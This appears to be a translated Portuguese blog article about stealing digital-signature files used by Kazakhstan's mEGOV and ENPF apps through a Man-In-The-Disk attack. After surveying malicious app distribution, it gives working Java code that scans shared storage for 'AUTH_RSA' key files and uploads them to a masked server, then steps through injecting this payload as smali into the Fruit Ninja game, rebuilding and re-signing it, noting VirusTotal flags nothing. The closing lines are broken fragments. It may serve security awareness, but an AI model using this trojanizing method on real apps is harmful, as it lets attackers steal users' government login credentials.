Os aplicativos móveis do Cazaquistão mEGOV e UAPF usam assinaturas digitais como um dos métodos de autorização. Para fazer logon dessa maneira, você precisa transferir o arquivo da assinatura digital para o telefone. Este método de autorização é vulnerável a um ataque Man-In-The-Disk (mais sobre isso em detalhes abaixo). Para se tornar vítima de um ataque, você só precisa instalar qualquer aplicativo favorito, que foi modificado secretamente por um invasor. Vou demonstrar como isso pode ser feito. Primeiro, descubra como esses aplicativos podem chegar ao usuário.
Como aplicativos maliciosos chegam ao telefone
Mercados locais de aplicação da China, Irã, etc.
Exemplos: cafebazaar.ir, android.myapp.com, apkplz.net
Esses sites apareceram devido à censura e bloqueio de serviços do Google e / ou servidores de aplicativos oficiais. Geralmente eles contêm análogos locais de aplicativos populares e suas modificações. Tais modificações (como este telegrama iraniano ) contêm recursos supostamente novos e interessantes. Qual é o perigo de tais aplicações? Você nunca sabe o que eles realmente fazem. Além disso, alguns governos não perdem a oportunidade e publicam suas modificações, com ferramentas para rastrear o usuário. Aplicativos de espionagem do governo são maliciosos por definição. Uma vez, estudei um aplicativo malicioso ( resultado do Virustotal , exemplo aqui , senha: infectada), que examinou o telefone em busca de clones de telegrama:
"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"
Esta lista indica a real relevância e popularidade de tais aplicativos. A pesquisa desse malware me levou a um artigo que fala sobre um clone de telegrama distribuído pelo mercado iraniano no mercado Cafebazaar . Citação de lá:
Isso parece ser desenvolvido de acordo com as especificações do governo iraniano, permitindo que eles rastreiem todos os bits e bytes apresentados pelos usuários do aplicativo.
Quantos clones de telegrama você vê?: ( Fonte )

É quase impossível para usuários comuns se protegerem disso, já que não há outra escolha - as fontes oficiais estão sendo intensamente bloqueadas e as suas próprias estão sendo promovidas. Pesquisadores e empresas de antivírus de todo o mundo, depois de identificar aplicativos infectados, informam isso imediatamente ao Google e são removidos do Play Market, que, obviamente, não se aplica a mercados de aplicativos de terceiros. Além disso, a política do Google em relação à admissão de aplicativos hospedados não se aplica a eles.
Alguns dos mercados são muito populares, como o Tencent My App , com 260 milhões de usuários por mês ( fonte )

Os aplicativos locais usados na mesma região / país costumam usar o mesmo SDK (conjunto de bibliotecas) para rastreamento de publicidade e integração social. redes, etc. ... Se a mesma biblioteca for usada em vários aplicativos, com alta probabilidade, alguns desses aplicativos poderão ser instalados em um usuário. Essas bibliotecas podem usar os recursos de diferentes aplicativos nos quais estão integrados para roubar dados do usuário, ignorando as permissões concedidas. Por exemplo, um aplicativo tem acesso para receber IMEI, mas não tem acesso à Internet. A biblioteca interna sabe disso e, portanto, lê o IMEI e o salva no cartão SD em uma pasta oculta. A mesma biblioteca é incorporada a outro aplicativo que tem acesso à Internet, mas não tem acesso ao IMEI, lê-o de uma pasta oculta e envia-o ao servidor. Este método foi utilizado por duas empresas chinesas Baidu e Salmonads. Você pode ler mais sobre isso aqui .
Phishing
O phishing clássico é a principal ferramenta de grupos internacionais e serviços especiais de diferentes países . Como geralmente acontece, um aplicativo de mensagens regulares é usado, a funcionalidade de rastreamento é adicionada a ele e, em seguida, é massivamente distribuída, com a nota "Veja, que aplicativo legal para comunicação". A entrega aos usuários pode ser realizada através do social. redes, WhatsApp / Telegrama de spam, anúncios internos em sites, etc.

Fonte, página 19.
Links de phishing, na forma de postagens no Facebook:

Fonte, pág. 22
Pop-up em um site famoso

Fonte
Grupos / bots de telegrama
Exemplo: @apkdl_bot, t.me/fun_android
Existem bots de telegrama para baixar arquivos apk. Em vez de um aplicativo legítimo, eles podem inserir malware em você. Ou infectar o aplicativo solicitado em tempo real. Funciona assim: você digita o comando bot / group que deseja baixar "Instagram", o script do outro lado faz o download do Google Play, descompacta, adiciona código malicioso, o embala e o devolve. Como isso é feito automaticamente, tentarei mostrar um exemplo no futuro próximo.
Sites de mediação de terceiros
Exemplo: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/
Há um grande número de sites não oficiais para baixar aplicativos para Android. Alguns deles oferecem a capacidade de baixar seu aplicativo, o que pode ser malicioso. Faça o download do exemplo neste site :

Um exemplo de um malvari que se espalhou dessa maneira ( fonte ):

Estatísticas de amostra de fontes não oficiais podem ser encontradas no Relatório de Segurança do Android 2018 - 1,6 bilhão de instalações bloqueadas do Google Play Protect que não são do Google Play. Havia muito mais instalações.
Alguns até escrevem artigos sobre como é bom usar mercados de terceiros.
Um mundo inteiro separado é composto por sites que distribuem aplicativos sem anúncios, aplicativos pagos invadidos de graça, aplicativos com funcionalidades adicionais:


Google play
A fonte oficial tem proteção contra aplicativos suspeitos chamados Google Play Protect, que usa aprendizado de máquina para determinar o grau de malware. Mas essa proteção não é capaz de entender com precisão qual aplicativo é malicioso e o que não é, pois isso requer uma verificação manual completa. Qual é a diferença entre um aplicativo espião que monitora todos os seus movimentos e um aplicativo em execução? Os pesquisadores constantemente encontram centenas de aplicativos infectados publicados no Google Play.
Geralmente, um aplicativo malicioso se autodenomina serviços do Google Play ou de maneira semelhante e coloca um ícone semelhante . Isso é enganoso para os usuários. Por que o Google Play não verifica a semelhança do ícone com seus aplicativos oficiais não está claro. Uma vez em um telegrama, coloquei um avatar com um avião de papel e eles me bloquearam. Outro método usado por aplicativos maliciosos é substituir as letras ("L" por "I", "g" por "q") para criar um nome semelhante ao aplicativo oficial:

Fonte
Outras maneiras
Serviços de reparo por telefone
Ao cruzar a fronteira
Conecte-se a um computador desconhecido via USB, com a depuração ativada.
Um invasor que obtém acesso à sua conta do Google e instala o aplicativo no seu telefone via Google Play.
Aplicativos pré-instalados
Por ordem judicial e sem. Pela polícia ou serviços especiais
Ataque de rega
Você veio visitar um amigo e a TV dele infectou seu telefone
A versão específica que aparece nos dispositivos Fire TV se instala como um aplicativo chamado "Teste" com o nome do pacote "com.google.time.timer". Depois de infectar um dispositivo Android, ele começa a usar os recursos do dispositivo para minerar criptomoedas e tenta se espalhar para outros dispositivos Android na mesma rede.
Como os invasores infectam aplicativos Android
Agora entendemos como um aplicativo mal-intencionado pode entrar no seu telefone. A seguir, será demonstrado como um invasor pode modificar qualquer aplicativo Android. Um exemplo será usado com a implementação do código no popular jogo Fruit Ninja . O código verifica a memória do telefone, procura um arquivo com EDS e o envia para o servidor (a raiz naturalmente não é necessária).
O que é o Man-In-The-Disk?
O público chamou a atenção para esse vetor de ataque, após este artigo . Eu aconselho você a ler primeiro.
Para quem leu, adicionarei por mim mesmo - modificar os arquivos compartilhados de outros aplicativos também pode levar à exploração de vulnerabilidades nas bibliotecas que usam esses arquivos.
Quem não leu, vou contar em breve. Para começar, vamos definir conceitos. No Android, a memória dos aplicativos é dividida em Armazenamento Interno e Armazenamento Externo. Armazenamento interno é a memória interna do aplicativo, acessível apenas a ele e a mais ninguém. Absolutamente cada aplicativo no telefone corresponde a um usuário separado e a uma pasta separada com direitos apenas para esse usuário. Este é um ótimo mecanismo de defesa. Armazenamento externo - a memória principal do telefone, acessível a todos os aplicativos (isso também inclui o cartão SD). Por que é necessário? Pegue um aplicativo de editor de fotos. Após a edição, você deve salvar a foto para que ela possa ser acessada na galeria. Naturalmente, se você colocá-lo no armazenamento interno, ele não estará disponível para ninguém, exceto seu aplicativo. Ou um navegador que baixa todos os arquivos para a pasta compartilhada Downloads.
Cada aplicativo Android tem seu próprio conjunto de permissões que solicita. Mas não é tão bom com eles. Entre eles, há aqueles que as pessoas fecham voluntariamente os olhos e não levam a sério. Entre eles está READ_EXTERNAL_STORAGE. Permite que o aplicativo acesse a memória principal do telefone e, portanto, todos os dados de outros aplicativos. Afinal, ninguém ficará surpreso se o aplicativo do notebook solicitar essa permissão. Pode ser necessário para ele armazenar configurações e armazenar em cache lá. Manipular dados de outros aplicativos no armazenamento externo é o ataque Man-In-The-Disk. Outra resolução, quase padrão, é a INTERNET. Como o nome indica, ele permite que o aplicativo tenha acesso à rede. O mais triste é que não é mostrada ao usuário uma janela especial pedindo que ele conceda essa permissão. Você apenas escreve no seu aplicativo e eles o entregam.
Fiz o download dos 15 principais aplicativos do Cazaquistão e escrevi um script que exibe estatísticas sobre as permissões solicitadas. Como você pode ver, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE e INTERNET são muito populares. Isso significa que os invasores podem incorporar códigos menos dolorosos que roubam assinaturas digitais na maioria dos aplicativos.
Lista de aplicativos testados
2-GIS, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegrama, VK, WhatsApp, Yandex Music, Yandex Taxi
, Zakon KZ

Se você colocar o whatsapp em um telefone raiz, toda a sua correspondência será armazenada em texto não criptografado. Aparentemente, o whatsapp não considera necessário usar criptografia em um telefone "corrompido". Além disso, no armazenamento externo, o whatsapp armazena SSLSessionCache (cache baseado em arquivo de sessões SSL estabelecidas). No futuro, tentarei explorar como você pode usar esses arquivos recebidos do telefone de outra pessoa.
Os telegramas e o Instagram armazenam imagens em cache na memória compartilhada. Quase todas as fotos que você vê e as que são enviadas uma para a outra estão disponíveis para qualquer aplicativo em seu telefone.

Os aplicativos MEGOV e ENPF exigem que a assinatura digital esteja no armazenamento externo:


O Google está ciente do problema e está prestes a alterar READ_EXTERNAL_STORAGE no Android Q. Quote:
Para acessar qualquer outro arquivo que outro aplicativo criou, incluindo arquivos em um diretório "downloads", seu aplicativo deve usar o Storage Access Framework, que permite ao usuário selecionar um arquivo específico.
Criar carga útil
Vamos para a funcionalidade principal do scanner. Ele consistirá em três classes principais: StageAttack
, MaliciousService
, MaliciousTaskManager
.

StageAttack
- consiste em um método estático que inicia nosso ataque. Criamos especificamente um método estático de transição, para conveniência da implementação na classe finalizada.
public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } }
MaliciousService
é um serviço que pesquisa recursivamente todo o armazenamento externo.
private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; }
Se o EDS não for encontrado, repetiremos a pesquisa a cada 5 segundos até encontrá-la. Você pode usar qualquer intervalo. Em um intervalo muito pequeno, nosso serviço corre o risco de ser interrompido pelo sistema. Quanto maior a versão do Android, mais severa é a política referente à operação de processos em segundo plano. Também não podemos usar o serviço de primeiro plano, pois para isso uma notificação deve travar constantemente. Não sendo um desenvolvedor de Android, gastei muito tempo para encontrar uma maneira de agendar uma tarefa que será concluída a tempo. Não é tão simples quanto parece. Existem vários métodos recomendados para isso no android (JobService, WorkManager, setRepeating () AlarmManager). A documentação não indica explicitamente que o intervalo da tarefa deve ser de pelo menos 15 minutos e seu tempo de execução depende do desejo do sistema. Isso não nos convém, portanto usamos a classe AlarmManager
, o método setExactAndAllowWhileIdle()
. Quando a tarefa é concluída, planejamos novamente, com o mesmo intervalo. Este é o único método atualmente conhecido por mim que tem a maior precisão.
private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }
Se um EDS for encontrado, enviamos o arquivo para o servidor:
private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); }
Eu introduzo carga útil
Primeiro descompilamos Fruit Ninja usando o apktool . Não descompilamos o aplicativo antes do código java, porque após a modificação, não poderemos montá-lo novamente. Precisamos ter exatamente aulas de smali. E também implementaremos nosso código na forma de código smali.
O que é código smali?
Os aplicativos Android são compilados no bytecode, que é executado pela máquina virtual Dalvik. O bytecode em si é difícil de ler, então sua forma legível por humanos é chamada smali. O smali é um análogo da linguagem assembly, mas para o Android.
Além disso, se queremos que nossa carga útil inicie quando o aplicativo for iniciado, devemos modificar o ponto de entrada. O ponto de entrada para qualquer GUI do aplicativo é uma classe filho Activity que aceita ACTION_MAIN. Abra a pasta com o aplicativo descompilado e localize-o no arquivo AndroidManifest.xml:
<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity>
Encontramos a classe com.halfbrick.mortar.MortarGameLauncherActivity
que com.halfbrick.mortar.MortarGameLauncherActivity
. Antes de estudá-lo, vejamos o ciclo de vida da atividade, isso será útil para nós.

Fonte
Atividade Aberta, para mim, está no caminho base \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali . Se você nunca viu o código smali antes, isso não é assustador, é simples o suficiente para ler e logicamente claro.
.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
Descobrimos que o MortarGameLauncherActivity
lança o MortarGameActivity
e fecha. Abra o MortarGameActivity
. Não comentaremos completamente sobre isso. Estamos interessados no que acontece no método Oncreate
, pois inicia a criação da atividade. Imediatamente depois disso, inseriremos nosso código. É importante não perturbar a linha ao colar.
.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <---------------------------
Agora precisamos do código de carga útil smali. Coletamos nosso scanner em apk e descompilamos. Transferimos nossas três classes descompiladas, que se encontram no caminho smali \ kz \ c \ signscan , para a pasta com / halfbrick / mortar . Altere o nome do pacote para todas as classes, de kz.c.signscan para com.halfbrick.mortar .
Foi:
.class public Lkz/c/signscan/StageAttack;
Tornou-se:
.class public Lcom/halfbrick/mortar/StageAttack;
Na classe MainActivity da smali, MainActivity
a linha de chamada de carga útil:
invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V
E insira no MortarGameActivity
. Como resultado, o método onCreate()
parece com:
... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...
A classe MaliciousTaskManager
na carga útil é BroadcastReceiver e MaliciousService
é IntentService, portanto, precisamos gravá-las no manifesto.
... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ...
apktool b myfolder
tudo de volta com o apktool b myfolder
. Como resultado, obtemos o arquivo apk. Agora precisamos assiná-lo para que o android aceite nosso aplicativo. Primeiro, geraremos uma chave com a qual assinaremos:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
Assinamos apk:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Virustotal não vai nos mostrar nada, pois não estamos fazendo nada de “ilegal”. - .

, :